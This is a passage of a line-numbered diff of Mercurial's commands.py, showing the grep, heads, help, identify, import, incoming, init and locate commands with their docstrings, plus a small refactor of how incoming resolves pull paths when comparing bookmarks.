3598 3598 if opts.get(b'files_with_matches'):
3599 3599 break
3600 3600 return found
3601 3601
3602 3602 def displaymatches(fm, l):
3603 3603 p = 0
3604 3604 for s, e in l.findpos(regexp):
3605 3605 if p < s:
3606 3606 fm.startitem()
3607 3607 fm.write(b'text', b'%s', l.line[p:s])
3608 3608 fm.data(matched=False)
3609 3609 fm.startitem()
3610 3610 fm.write(b'text', b'%s', l.line[s:e], label=b'grep.match')
3611 3611 fm.data(matched=True)
3612 3612 p = e
3613 3613 if p < len(l.line):
3614 3614 fm.startitem()
3615 3615 fm.write(b'text', b'%s', l.line[p:])
3616 3616 fm.data(matched=False)
3617 3617 fm.end()
3618 3618
3619 3619 found = False
3620 3620
3621 3621 wopts = logcmdutil.walkopts(
3622 3622 pats=pats,
3623 3623 opts=opts,
3624 3624 revspec=opts[b'rev'],
3625 3625 include_pats=opts[b'include'],
3626 3626 exclude_pats=opts[b'exclude'],
3627 3627 follow=follow,
3628 3628 force_changelog_traversal=all_files,
3629 3629 filter_revisions_by_pats=not all_files,
3630 3630 )
3631 3631 revs, makefilematcher = logcmdutil.makewalker(repo, wopts)
3632 3632
3633 3633 ui.pager(b'grep')
3634 3634 fm = ui.formatter(b'grep', opts)
3635 3635 for fn, ctx, pstates, states in searcher.searchfiles(revs, makefilematcher):
3636 3636 r = display(fm, fn, ctx, pstates, states)
3637 3637 found = found or r
3638 3638 if r and not diff and not all_files:
3639 3639 searcher.skipfile(fn, ctx.rev())
3640 3640 fm.end()
3641 3641
3642 3642 return not found
3643 3643
3644 3644
3645 3645 @command(
3646 3646 b'heads',
3647 3647 [
3648 3648 (
3649 3649 b'r',
3650 3650 b'rev',
3651 3651 b'',
3652 3652 _(b'show only heads which are descendants of STARTREV'),
3653 3653 _(b'STARTREV'),
3654 3654 ),
3655 3655 (b't', b'topo', False, _(b'show topological heads only')),
3656 3656 (
3657 3657 b'a',
3658 3658 b'active',
3659 3659 False,
3660 3660 _(b'show active branchheads only (DEPRECATED)'),
3661 3661 ),
3662 3662 (b'c', b'closed', False, _(b'show normal and closed branch heads')),
3663 3663 ]
3664 3664 + templateopts,
3665 3665 _(b'[-ct] [-r STARTREV] [REV]...'),
3666 3666 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3667 3667 intents={INTENT_READONLY},
3668 3668 )
3669 3669 def heads(ui, repo, *branchrevs, **opts):
3670 3670 """show branch heads
3671 3671
3672 3672 With no arguments, show all open branch heads in the repository.
3673 3673 Branch heads are changesets that have no descendants on the
3674 3674 same branch. They are where development generally takes place and
3675 3675 are the usual targets for update and merge operations.
3676 3676
3677 3677 If one or more REVs are given, only open branch heads on the
3678 3678 branches associated with the specified changesets are shown. This
3679 3679 means that you can use :hg:`heads .` to see the heads on the
3680 3680 currently checked-out branch.
3681 3681
3682 3682 If -c/--closed is specified, also show branch heads marked closed
3683 3683 (see :hg:`commit --close-branch`).
3684 3684
3685 3685 If STARTREV is specified, only those heads that are descendants of
3686 3686 STARTREV will be displayed.
3687 3687
3688 3688 If -t/--topo is specified, named branch mechanics will be ignored and only
3689 3689 topological heads (changesets with no children) will be shown.
3690 3690
3691 3691 Returns 0 if matching heads are found, 1 if not.
3692 3692 """
3693 3693
3694 3694 opts = pycompat.byteskwargs(opts)
3695 3695 start = None
3696 3696 rev = opts.get(b'rev')
3697 3697 if rev:
3698 3698 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3699 3699 start = logcmdutil.revsingle(repo, rev, None).node()
3700 3700
3701 3701 if opts.get(b'topo'):
3702 3702 heads = [repo[h] for h in repo.heads(start)]
3703 3703 else:
3704 3704 heads = []
3705 3705 for branch in repo.branchmap():
3706 3706 heads += repo.branchheads(branch, start, opts.get(b'closed'))
3707 3707 heads = [repo[h] for h in heads]
3708 3708
3709 3709 if branchrevs:
3710 3710 branches = {
3711 3711 repo[r].branch() for r in logcmdutil.revrange(repo, branchrevs)
3712 3712 }
3713 3713 heads = [h for h in heads if h.branch() in branches]
3714 3714
3715 3715 if opts.get(b'active') and branchrevs:
3716 3716 dagheads = repo.heads(start)
3717 3717 heads = [h for h in heads if h.node() in dagheads]
3718 3718
3719 3719 if branchrevs:
3720 3720 haveheads = {h.branch() for h in heads}
3721 3721 if branches - haveheads:
3722 3722 headless = b', '.join(b for b in branches - haveheads)
3723 3723 msg = _(b'no open branch heads found on branches %s')
3724 3724 if opts.get(b'rev'):
3725 3725 msg += _(b' (started at %s)') % opts[b'rev']
3726 3726 ui.warn((msg + b'\n') % headless)
3727 3727
3728 3728 if not heads:
3729 3729 return 1
3730 3730
3731 3731 ui.pager(b'heads')
3732 3732 heads = sorted(heads, key=lambda x: -(x.rev()))
3733 3733 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
3734 3734 for ctx in heads:
3735 3735 displayer.show(ctx)
3736 3736 displayer.close()
3737 3737
3738 3738
3739 3739 @command(
3740 3740 b'help',
3741 3741 [
3742 3742 (b'e', b'extension', None, _(b'show only help for extensions')),
3743 3743 (b'c', b'command', None, _(b'show only help for commands')),
3744 3744 (b'k', b'keyword', None, _(b'show topics matching keyword')),
3745 3745 (
3746 3746 b's',
3747 3747 b'system',
3748 3748 [],
3749 3749 _(b'show help for specific platform(s)'),
3750 3750 _(b'PLATFORM'),
3751 3751 ),
3752 3752 ],
3753 3753 _(b'[-eck] [-s PLATFORM] [TOPIC]'),
3754 3754 helpcategory=command.CATEGORY_HELP,
3755 3755 norepo=True,
3756 3756 intents={INTENT_READONLY},
3757 3757 )
3758 3758 def help_(ui, name=None, **opts):
3759 3759 """show help for a given topic or a help overview
3760 3760
3761 3761 With no arguments, print a list of commands with short help messages.
3762 3762
3763 3763 Given a topic, extension, or command name, print help for that
3764 3764 topic.
3765 3765
3766 3766 Returns 0 if successful.
3767 3767 """
3768 3768
3769 3769 keep = opts.get('system') or []
3770 3770 if len(keep) == 0:
3771 3771 if pycompat.sysplatform.startswith(b'win'):
3772 3772 keep.append(b'windows')
3773 3773 elif pycompat.sysplatform == b'OpenVMS':
3774 3774 keep.append(b'vms')
3775 3775 elif pycompat.sysplatform == b'plan9':
3776 3776 keep.append(b'plan9')
3777 3777 else:
3778 3778 keep.append(b'unix')
3779 3779 keep.append(pycompat.sysplatform.lower())
3780 3780 if ui.verbose:
3781 3781 keep.append(b'verbose')
3782 3782
3783 3783 commands = sys.modules[__name__]
3784 3784 formatted = help.formattedhelp(ui, commands, name, keep=keep, **opts)
3785 3785 ui.pager(b'help')
3786 3786 ui.write(formatted)
3787 3787
3788 3788
3789 3789 @command(
3790 3790 b'identify|id',
3791 3791 [
3792 3792 (b'r', b'rev', b'', _(b'identify the specified revision'), _(b'REV')),
3793 3793 (b'n', b'num', None, _(b'show local revision number')),
3794 3794 (b'i', b'id', None, _(b'show global revision id')),
3795 3795 (b'b', b'branch', None, _(b'show branch')),
3796 3796 (b't', b'tags', None, _(b'show tags')),
3797 3797 (b'B', b'bookmarks', None, _(b'show bookmarks')),
3798 3798 ]
3799 3799 + remoteopts
3800 3800 + formatteropts,
3801 3801 _(b'[-nibtB] [-r REV] [SOURCE]'),
3802 3802 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
3803 3803 optionalrepo=True,
3804 3804 intents={INTENT_READONLY},
3805 3805 )
3806 3806 def identify(
3807 3807 ui,
3808 3808 repo,
3809 3809 source=None,
3810 3810 rev=None,
3811 3811 num=None,
3812 3812 id=None,
3813 3813 branch=None,
3814 3814 tags=None,
3815 3815 bookmarks=None,
3816 3816 **opts
3817 3817 ):
3818 3818 """identify the working directory or specified revision
3819 3819
3820 3820 Print a summary identifying the repository state at REV using one or
3821 3821 two parent hash identifiers, followed by a "+" if the working
3822 3822 directory has uncommitted changes, the branch name (if not default),
3823 3823 a list of tags, and a list of bookmarks.
3824 3824
3825 3825 When REV is not given, print a summary of the current state of the
3826 3826 repository including the working directory. Specify -r. to get information
3827 3827 of the working directory parent without scanning uncommitted changes.
3828 3828
3829 3829 Specifying a path to a repository root or Mercurial bundle will
3830 3830 cause lookup to operate on that repository/bundle.
3831 3831
3832 3832 .. container:: verbose
3833 3833
3834 3834 Template:
3835 3835
3836 3836 The following keywords are supported in addition to the common template
3837 3837 keywords and functions. See also :hg:`help templates`.
3838 3838
3839 3839 :dirty: String. Character ``+`` denoting if the working directory has
3840 3840 uncommitted changes.
3841 3841 :id: String. One or two nodes, optionally followed by ``+``.
3842 3842 :parents: List of strings. Parent nodes of the changeset.
3843 3843
3844 3844 Examples:
3845 3845
3846 3846 - generate a build identifier for the working directory::
3847 3847
3848 3848 hg id --id > build-id.dat
3849 3849
3850 3850 - find the revision corresponding to a tag::
3851 3851
3852 3852 hg id -n -r 1.3
3853 3853
3854 3854 - check the most recent revision of a remote repository::
3855 3855
3856 3856 hg id -r tip https://www.mercurial-scm.org/repo/hg/
3857 3857
3858 3858 See :hg:`log` for generating more information about specific revisions,
3859 3859 including full hash identifiers.
3860 3860
3861 3861 Returns 0 if successful.
3862 3862 """
3863 3863
3864 3864 opts = pycompat.byteskwargs(opts)
3865 3865 if not repo and not source:
3866 3866 raise error.InputError(
3867 3867 _(b"there is no Mercurial repository here (.hg not found)")
3868 3868 )
3869 3869
3870 3870 default = not (num or id or branch or tags or bookmarks)
3871 3871 output = []
3872 3872 revs = []
3873 3873
3874 3874 peer = None
3875 3875 try:
3876 3876 if source:
3877 3877 source, branches = urlutil.get_unique_pull_path(
3878 3878 b'identify', repo, ui, source
3879 3879 )
3880 3880 # only pass ui when no repo
3881 3881 peer = hg.peer(repo or ui, opts, source)
3882 3882 repo = peer.local()
3883 3883 revs, checkout = hg.addbranchrevs(repo, peer, branches, None)
3884 3884
3885 3885 fm = ui.formatter(b'identify', opts)
3886 3886 fm.startitem()
3887 3887
3888 3888 if not repo:
3889 3889 if num or branch or tags:
3890 3890 raise error.InputError(
3891 3891 _(b"can't query remote revision number, branch, or tags")
3892 3892 )
3893 3893 if not rev and revs:
3894 3894 rev = revs[0]
3895 3895 if not rev:
3896 3896 rev = b"tip"
3897 3897
3898 3898 remoterev = peer.lookup(rev)
3899 3899 hexrev = fm.hexfunc(remoterev)
3900 3900 if default or id:
3901 3901 output = [hexrev]
3902 3902 fm.data(id=hexrev)
3903 3903
3904 3904 @util.cachefunc
3905 3905 def getbms():
3906 3906 bms = []
3907 3907
3908 3908 if b'bookmarks' in peer.listkeys(b'namespaces'):
3909 3909 hexremoterev = hex(remoterev)
3910 3910 bms = [
3911 3911 bm
3912 3912 for bm, bmr in pycompat.iteritems(
3913 3913 peer.listkeys(b'bookmarks')
3914 3914 )
3915 3915 if bmr == hexremoterev
3916 3916 ]
3917 3917
3918 3918 return sorted(bms)
3919 3919
3920 3920 if fm.isplain():
3921 3921 if bookmarks:
3922 3922 output.extend(getbms())
3923 3923 elif default and not ui.quiet:
3924 3924 # multiple bookmarks for a single parent separated by '/'
3925 3925 bm = b'/'.join(getbms())
3926 3926 if bm:
3927 3927 output.append(bm)
3928 3928 else:
3929 3929 fm.data(node=hex(remoterev))
3930 3930 if bookmarks or b'bookmarks' in fm.datahint():
3931 3931 fm.data(bookmarks=fm.formatlist(getbms(), name=b'bookmark'))
3932 3932 else:
3933 3933 if rev:
3934 3934 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
3935 3935 ctx = logcmdutil.revsingle(repo, rev, None)
3936 3936
3937 3937 if ctx.rev() is None:
3938 3938 ctx = repo[None]
3939 3939 parents = ctx.parents()
3940 3940 taglist = []
3941 3941 for p in parents:
3942 3942 taglist.extend(p.tags())
3943 3943
3944 3944 dirty = b""
3945 3945 if ctx.dirty(missing=True, merge=False, branch=False):
3946 3946 dirty = b'+'
3947 3947 fm.data(dirty=dirty)
3948 3948
3949 3949 hexoutput = [fm.hexfunc(p.node()) for p in parents]
3950 3950 if default or id:
3951 3951 output = [b"%s%s" % (b'+'.join(hexoutput), dirty)]
3952 3952 fm.data(id=b"%s%s" % (b'+'.join(hexoutput), dirty))
3953 3953
3954 3954 if num:
3955 3955 numoutput = [b"%d" % p.rev() for p in parents]
3956 3956 output.append(b"%s%s" % (b'+'.join(numoutput), dirty))
3957 3957
3958 3958 fm.data(
3959 3959 parents=fm.formatlist(
3960 3960 [fm.hexfunc(p.node()) for p in parents], name=b'node'
3961 3961 )
3962 3962 )
3963 3963 else:
3964 3964 hexoutput = fm.hexfunc(ctx.node())
3965 3965 if default or id:
3966 3966 output = [hexoutput]
3967 3967 fm.data(id=hexoutput)
3968 3968
3969 3969 if num:
3970 3970 output.append(pycompat.bytestr(ctx.rev()))
3971 3971 taglist = ctx.tags()
3972 3972
3973 3973 if default and not ui.quiet:
3974 3974 b = ctx.branch()
3975 3975 if b != b'default':
3976 3976 output.append(b"(%s)" % b)
3977 3977
3978 3978 # multiple tags for a single parent separated by '/'
3979 3979 t = b'/'.join(taglist)
3980 3980 if t:
3981 3981 output.append(t)
3982 3982
3983 3983 # multiple bookmarks for a single parent separated by '/'
3984 3984 bm = b'/'.join(ctx.bookmarks())
3985 3985 if bm:
3986 3986 output.append(bm)
3987 3987 else:
3988 3988 if branch:
3989 3989 output.append(ctx.branch())
3990 3990
3991 3991 if tags:
3992 3992 output.extend(taglist)
3993 3993
3994 3994 if bookmarks:
3995 3995 output.extend(ctx.bookmarks())
3996 3996
3997 3997 fm.data(node=ctx.hex())
3998 3998 fm.data(branch=ctx.branch())
3999 3999 fm.data(tags=fm.formatlist(taglist, name=b'tag', sep=b':'))
4000 4000 fm.data(bookmarks=fm.formatlist(ctx.bookmarks(), name=b'bookmark'))
4001 4001 fm.context(ctx=ctx)
4002 4002
4003 4003 fm.plain(b"%s\n" % b' '.join(output))
4004 4004 fm.end()
4005 4005 finally:
4006 4006 if peer:
4007 4007 peer.close()
4008 4008
4009 4009
4010 4010 @command(
4011 4011 b'import|patch',
4012 4012 [
4013 4013 (
4014 4014 b'p',
4015 4015 b'strip',
4016 4016 1,
4017 4017 _(
4018 4018 b'directory strip option for patch. This has the same '
4019 4019 b'meaning as the corresponding patch option'
4020 4020 ),
4021 4021 _(b'NUM'),
4022 4022 ),
4023 4023 (b'b', b'base', b'', _(b'base path (DEPRECATED)'), _(b'PATH')),
4024 4024 (b'', b'secret', None, _(b'use the secret phase for committing')),
4025 4025 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
4026 4026 (
4027 4027 b'f',
4028 4028 b'force',
4029 4029 None,
4030 4030 _(b'skip check for outstanding uncommitted changes (DEPRECATED)'),
4031 4031 ),
4032 4032 (
4033 4033 b'',
4034 4034 b'no-commit',
4035 4035 None,
4036 4036 _(b"don't commit, just update the working directory"),
4037 4037 ),
4038 4038 (
4039 4039 b'',
4040 4040 b'bypass',
4041 4041 None,
4042 4042 _(b"apply patch without touching the working directory"),
4043 4043 ),
4044 4044 (b'', b'partial', None, _(b'commit even if some hunks fail')),
4045 4045 (b'', b'exact', None, _(b'abort if patch would apply lossily')),
4046 4046 (b'', b'prefix', b'', _(b'apply patch to subdirectory'), _(b'DIR')),
4047 4047 (
4048 4048 b'',
4049 4049 b'import-branch',
4050 4050 None,
4051 4051 _(b'use any branch information in patch (implied by --exact)'),
4052 4052 ),
4053 4053 ]
4054 4054 + commitopts
4055 4055 + commitopts2
4056 4056 + similarityopts,
4057 4057 _(b'[OPTION]... PATCH...'),
4058 4058 helpcategory=command.CATEGORY_IMPORT_EXPORT,
4059 4059 )
4060 4060 def import_(ui, repo, patch1=None, *patches, **opts):
4061 4061 """import an ordered set of patches
4062 4062
4063 4063 Import a list of patches and commit them individually (unless
4064 4064 --no-commit is specified).
4065 4065
4066 4066 To read a patch from standard input (stdin), use "-" as the patch
4067 4067 name. If a URL is specified, the patch will be downloaded from
4068 4068 there.
4069 4069
4070 4070 Import first applies changes to the working directory (unless
4071 4071 --bypass is specified), import will abort if there are outstanding
4072 4072 changes.
4073 4073
4074 4074 Use --bypass to apply and commit patches directly to the
4075 4075 repository, without affecting the working directory. Without
4076 4076 --exact, patches will be applied on top of the working directory
4077 4077 parent revision.
4078 4078
4079 4079 You can import a patch straight from a mail message. Even patches
4080 4080 as attachments work (to use the body part, it must have type
4081 4081 text/plain or text/x-patch). From and Subject headers of email
4082 4082 message are used as default committer and commit message. All
4083 4083 text/plain body parts before first diff are added to the commit
4084 4084 message.
4085 4085
4086 4086 If the imported patch was generated by :hg:`export`, user and
4087 4087 description from patch override values from message headers and
4088 4088 body. Values given on command line with -m/--message and -u/--user
4089 4089 override these.
4090 4090
4091 4091 If --exact is specified, import will set the working directory to
4092 4092 the parent of each patch before applying it, and will abort if the
4093 4093 resulting changeset has a different ID than the one recorded in
4094 4094 the patch. This will guard against various ways that portable
4095 4095 patch formats and mail systems might fail to transfer Mercurial
4096 4096 data or metadata. See :hg:`bundle` for lossless transmission.
4097 4097
4098 4098 Use --partial to ensure a changeset will be created from the patch
4099 4099 even if some hunks fail to apply. Hunks that fail to apply will be
4100 4100 written to a <target-file>.rej file. Conflicts can then be resolved
4101 4101 by hand before :hg:`commit --amend` is run to update the created
4102 4102 changeset. This flag exists to let people import patches that
4103 4103 partially apply without losing the associated metadata (author,
4104 4104 date, description, ...).
4105 4105
4106 4106 .. note::
4107 4107
4108 4108 When no hunks apply cleanly, :hg:`import --partial` will create
4109 4109 an empty changeset, importing only the patch metadata.
4110 4110
4111 4111 With -s/--similarity, hg will attempt to discover renames and
4112 4112 copies in the patch in the same way as :hg:`addremove`.
4113 4113
4114 4114 It is possible to use external patch programs to perform the patch
4115 4115 by setting the ``ui.patch`` configuration option. For the default
4116 4116 internal tool, the fuzz can also be configured via ``patch.fuzz``.
4117 4117 See :hg:`help config` for more information about configuration
4118 4118 files and how to use these options.
4119 4119
4120 4120 See :hg:`help dates` for a list of formats valid for -d/--date.
4121 4121
4122 4122 .. container:: verbose
4123 4123
4124 4124 Examples:
4125 4125
4126 4126 - import a traditional patch from a website and detect renames::
4127 4127
4128 4128 hg import -s 80 http://example.com/bugfix.patch
4129 4129
4130 4130 - import a changeset from an hgweb server::
4131 4131
4132 4132 hg import https://www.mercurial-scm.org/repo/hg/rev/5ca8c111e9aa
4133 4133
4134 4134 - import all the patches in an Unix-style mbox::
4135 4135
4136 4136 hg import incoming-patches.mbox
4137 4137
4138 4138 - import patches from stdin::
4139 4139
4140 4140 hg import -
4141 4141
4142 4142 - attempt to exactly restore an exported changeset (not always
4143 4143 possible)::
4144 4144
4145 4145 hg import --exact proposed-fix.patch
4146 4146
4147 4147 - use an external tool to apply a patch which is too fuzzy for
4148 4148 the default internal tool.
4149 4149
4150 4150 hg import --config ui.patch="patch --merge" fuzzy.patch
4151 4151
4152 4152 - change the default fuzzing from 2 to a less strict 7
4153 4153
4154 4154 hg import --config ui.fuzz=7 fuzz.patch
4155 4155
4156 4156 Returns 0 on success, 1 on partial success (see --partial).
4157 4157 """
4158 4158
4159 4159 cmdutil.check_incompatible_arguments(
4160 4160 opts, 'no_commit', ['bypass', 'secret']
4161 4161 )
4162 4162 cmdutil.check_incompatible_arguments(opts, 'exact', ['edit', 'prefix'])
4163 4163 opts = pycompat.byteskwargs(opts)
4164 4164 if not patch1:
4165 4165 raise error.InputError(_(b'need at least one patch to import'))
4166 4166
4167 4167 patches = (patch1,) + patches
4168 4168
4169 4169 date = opts.get(b'date')
4170 4170 if date:
4171 4171 opts[b'date'] = dateutil.parsedate(date)
4172 4172
4173 4173 exact = opts.get(b'exact')
4174 4174 update = not opts.get(b'bypass')
4175 4175 try:
4176 4176 sim = float(opts.get(b'similarity') or 0)
4177 4177 except ValueError:
4178 4178 raise error.InputError(_(b'similarity must be a number'))
4179 4179 if sim < 0 or sim > 100:
4180 4180 raise error.InputError(_(b'similarity must be between 0 and 100'))
4181 4181 if sim and not update:
4182 4182 raise error.InputError(_(b'cannot use --similarity with --bypass'))
4183 4183
4184 4184 base = opts[b"base"]
4185 4185 msgs = []
4186 4186 ret = 0
4187 4187
4188 4188 with repo.wlock():
4189 4189 if update:
4190 4190 cmdutil.checkunfinished(repo)
4191 4191 if exact or not opts.get(b'force'):
4192 4192 cmdutil.bailifchanged(repo)
4193 4193
4194 4194 if not opts.get(b'no_commit'):
4195 4195 lock = repo.lock
4196 4196 tr = lambda: repo.transaction(b'import')
4197 4197 dsguard = util.nullcontextmanager
4198 4198 else:
4199 4199 lock = util.nullcontextmanager
4200 4200 tr = util.nullcontextmanager
4201 4201 dsguard = lambda: dirstateguard.dirstateguard(repo, b'import')
4202 4202 with lock(), tr(), dsguard():
4203 4203 parents = repo[None].parents()
4204 4204 for patchurl in patches:
4205 4205 if patchurl == b'-':
4206 4206 ui.status(_(b'applying patch from stdin\n'))
4207 4207 patchfile = ui.fin
4208 4208 patchurl = b'stdin' # for error message
4209 4209 else:
4210 4210 patchurl = os.path.join(base, patchurl)
4211 4211 ui.status(_(b'applying %s\n') % patchurl)
4212 4212 patchfile = hg.openpath(ui, patchurl, sendaccept=False)
4213 4213
4214 4214 haspatch = False
4215 4215 for hunk in patch.split(patchfile):
4216 4216 with patch.extract(ui, hunk) as patchdata:
4217 4217 msg, node, rej = cmdutil.tryimportone(
4218 4218 ui, repo, patchdata, parents, opts, msgs, hg.clean
4219 4219 )
4220 4220 if msg:
4221 4221 haspatch = True
4222 4222 ui.note(msg + b'\n')
4223 4223 if update or exact:
4224 4224 parents = repo[None].parents()
4225 4225 else:
4226 4226 parents = [repo[node]]
4227 4227 if rej:
4228 4228 ui.write_err(_(b"patch applied partially\n"))
4229 4229 ui.write_err(
4230 4230 _(
4231 4231 b"(fix the .rej files and run "
4232 4232 b"`hg commit --amend`)\n"
4233 4233 )
4234 4234 )
4235 4235 ret = 1
4236 4236 break
4237 4237
4238 4238 if not haspatch:
4239 4239 raise error.InputError(_(b'%s: no diffs found') % patchurl)
4240 4240
4241 4241 if msgs:
4242 4242 repo.savecommitmessage(b'\n* * *\n'.join(msgs))
4243 4243 return ret
4244 4244
4245 4245
4246 4246 @command(
4247 4247 b'incoming|in',
4248 4248 [
4249 4249 (
4250 4250 b'f',
4251 4251 b'force',
4252 4252 None,
4253 4253 _(b'run even if remote repository is unrelated'),
4254 4254 ),
4255 4255 (b'n', b'newest-first', None, _(b'show newest record first')),
4256 4256 (b'', b'bundle', b'', _(b'file to store the bundles into'), _(b'FILE')),
4257 4257 (
4258 4258 b'r',
4259 4259 b'rev',
4260 4260 [],
4261 4261 _(b'a remote changeset intended to be added'),
4262 4262 _(b'REV'),
4263 4263 ),
4264 4264 (b'B', b'bookmarks', False, _(b"compare bookmarks")),
4265 4265 (
4266 4266 b'b',
4267 4267 b'branch',
4268 4268 [],
4269 4269 _(b'a specific branch you would like to pull'),
4270 4270 _(b'BRANCH'),
4271 4271 ),
4272 4272 ]
4273 4273 + logopts
4274 4274 + remoteopts
4275 4275 + subrepoopts,
4276 4276 _(b'[-p] [-n] [-M] [-f] [-r REV]... [--bundle FILENAME] [SOURCE]'),
4277 4277 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4278 4278 )
4279 4279 def incoming(ui, repo, source=b"default", **opts):
4280 4280 """show new changesets found in source
4281 4281
4282 4282 Show new changesets found in the specified path/URL or the default
4283 4283 pull location. These are the changesets that would have been pulled
4284 4284 by :hg:`pull` at the time you issued this command.
4285 4285
4286 4286 See pull for valid source format details.
4287 4287
4288 4288 .. container:: verbose
4289 4289
4290 4290 With -B/--bookmarks, the result of bookmark comparison between
4291 4291 local and remote repositories is displayed. With -v/--verbose,
4292 4292 status is also displayed for each bookmark like below::
4293 4293
4294 4294 BM1 01234567890a added
4295 4295 BM2 1234567890ab advanced
4296 4296 BM3 234567890abc diverged
4297 4297 BM4 34567890abcd changed
4298 4298
4299 4299 The action taken locally when pulling depends on the
4300 4300 status of each bookmark:
4301 4301
4302 4302 :``added``: pull will create it
4303 4303 :``advanced``: pull will update it
4304 4304 :``diverged``: pull will create a divergent bookmark
4305 4305 :``changed``: result depends on remote changesets
4306 4306
4307 4307 From the point of view of pulling behavior, bookmark
4308 4308 existing only in the remote repository are treated as ``added``,
4309 4309 even if it is in fact locally deleted.
4310 4310
4311 4311 .. container:: verbose
4312 4312
4313 4313 For remote repository, using --bundle avoids downloading the
4314 4314 changesets twice if the incoming is followed by a pull.
4315 4315
4316 4316 Examples:
4317 4317
4318 4318 - show incoming changes with patches and full description::
4319 4319
4320 4320 hg incoming -vp
4321 4321
4322 4322 - show incoming changes excluding merges, store a bundle::
4323 4323
4324 4324 hg in -vpM --bundle incoming.hg
4325 4325 hg pull incoming.hg
4326 4326
4327 4327 - briefly list changes inside a bundle::
4328 4328
4329 4329 hg in changes.hg -T "{desc|firstline}\\n"
4330 4330
4331 4331 Returns 0 if there are incoming changes, 1 otherwise.
4332 4332 """
4333 4333 opts = pycompat.byteskwargs(opts)
4334 4334 if opts.get(b'graph'):
4335 4335 logcmdutil.checkunsupportedgraphflags([], opts)
4336 4336
4337 4337 def display(other, chlist, displayer):
4338 4338 revdag = logcmdutil.graphrevs(other, chlist, opts)
4339 4339 logcmdutil.displaygraph(
4340 4340 ui, repo, revdag, displayer, graphmod.asciiedges
4341 4341 )
4342 4342
4343 4343 hg._incoming(display, lambda: 1, ui, repo, source, opts, buffered=True)
4344 4344 return 0
4345 4345
4346 4346 cmdutil.check_incompatible_arguments(opts, b'subrepos', [b'bundle'])
4347 4347
4348 4348 if opts.get(b'bookmarks'):
4349 srcs = urlutil.get_pull_paths(repo, ui, [source], opts.get(b'branch'))
4350 for source, branches in srcs:
4349 srcs = urlutil.get_pull_paths(repo, ui, [source])
4350 for path in srcs:
4351 source, branches = urlutil.parseurl(
4352 path.rawloc, opts.get(b'branch')
4353 )
4351 4354 other = hg.peer(repo, opts, source)
4352 4355 try:
4353 4356 if b'bookmarks' not in other.listkeys(b'namespaces'):
4354 4357 ui.warn(_(b"remote doesn't support bookmarks\n"))
4355 4358 return 0
4356 4359 ui.pager(b'incoming')
4357 4360 ui.status(
4358 4361 _(b'comparing with %s\n') % urlutil.hidepassword(source)
4359 4362 )
4360 4363 return bookmarks.incoming(ui, repo, other)
4361 4364 finally:
4362 4365 other.close()
4363 4366
4364 4367 return hg.incoming(ui, repo, source, opts)
4365 4368
4366 4369
4367 4370 @command(
4368 4371 b'init',
4369 4372 remoteopts,
4370 4373 _(b'[-e CMD] [--remotecmd CMD] [DEST]'),
4371 4374 helpcategory=command.CATEGORY_REPO_CREATION,
4372 4375 helpbasic=True,
4373 4376 norepo=True,
4374 4377 )
4375 4378 def init(ui, dest=b".", **opts):
4376 4379 """create a new repository in the given directory
4377 4380
4378 4381 Initialize a new repository in the given directory. If the given
4379 4382 directory does not exist, it will be created.
4380 4383
4381 4384 If no directory is given, the current directory is used.
4382 4385
4383 4386 It is possible to specify an ``ssh://`` URL as the destination.
4384 4387 See :hg:`help urls` for more information.
4385 4388
4386 4389 Returns 0 on success.
4387 4390 """
4388 4391 opts = pycompat.byteskwargs(opts)
4389 4392 path = urlutil.get_clone_path(ui, dest)[1]
4390 4393 peer = hg.peer(ui, opts, path, create=True)
4391 4394 peer.close()
4392 4395
4393 4396
4394 4397 @command(
4395 4398 b'locate',
4396 4399 [
4397 4400 (
4398 4401 b'r',
4399 4402 b'rev',
4400 4403 b'',
4401 4404 _(b'search the repository as it is in REV'),
4402 4405 _(b'REV'),
4403 4406 ),
4404 4407 (
4405 4408 b'0',
4406 4409 b'print0',
4407 4410 None,
4408 4411 _(b'end filenames with NUL, for use with xargs'),
4409 4412 ),
4410 4413 (
4411 4414 b'f',
4412 4415 b'fullpath',
4413 4416 None,
4414 4417 _(b'print complete paths from the filesystem root'),
4415 4418 ),
4416 4419 ]
4417 4420 + walkopts,
4418 4421 _(b'[OPTION]... [PATTERN]...'),
4419 4422 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
4420 4423 )
4421 4424 def locate(ui, repo, *pats, **opts):
4422 4425 """locate files matching specific patterns (DEPRECATED)
4423 4426
4424 4427 Print files under Mercurial control in the working directory whose
4425 4428 names match the given patterns.
4426 4429
4427 4430 By default, this command searches all directories in the working
4428 4431 directory. To search just the current directory and its
4429 4432 subdirectories, use "--include .".
4430 4433
4431 4434 If no patterns are given to match, this command prints the names
4432 4435 of all files under Mercurial control in the working directory.
4433 4436
4434 4437 If you want to feed the output of this command into the "xargs"
4435 4438 command, use the -0 option to both this command and "xargs". This
4436 4439 will avoid the problem of "xargs" treating single filenames that
4437 4440 contain whitespace as multiple filenames.
4438 4441
4439 4442 See :hg:`help files` for a more versatile command.
4440 4443
4441 4444 Returns 0 if a match is found, 1 otherwise.
4442 4445 """
4443 4446 opts = pycompat.byteskwargs(opts)
4444 4447 if opts.get(b'print0'):
4445 4448 end = b'\0'
4446 4449 else:
4447 4450 end = b'\n'
4448 4451 ctx = logcmdutil.revsingle(repo, opts.get(b'rev'), None)
4449 4452
4450 4453 ret = 1
4451 4454 m = scmutil.match(
4452 4455 ctx, pats, opts, default=b'relglob', badfn=lambda x, y: False
4453 4456 )
4454 4457
4455 4458 ui.pager(b'locate')
4456 4459 if ctx.rev() is None:
4457 4460 # When run on the working copy, "locate" includes removed files, so
4458 4461 # we get the list of files from the dirstate.
4459 4462 filesgen = sorted(repo.dirstate.matches(m))
4460 4463 else:
4461 4464 filesgen = ctx.matches(m)
4462 4465 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=bool(pats))
4463 4466 for abs in filesgen:
4464 4467 if opts.get(b'fullpath'):
4465 4468 ui.write(repo.wjoin(abs), end)
4466 4469 else:
4467 4470 ui.write(uipathfn(abs), end)
4468 4471 ret = 0
4469 4472
4470 4473 return ret
4471 4474
4472 4475
4473 4476 @command(
4474 4477 b'log|history',
4475 4478 [
4476 4479 (
4477 4480 b'f',
4478 4481 b'follow',
4479 4482 None,
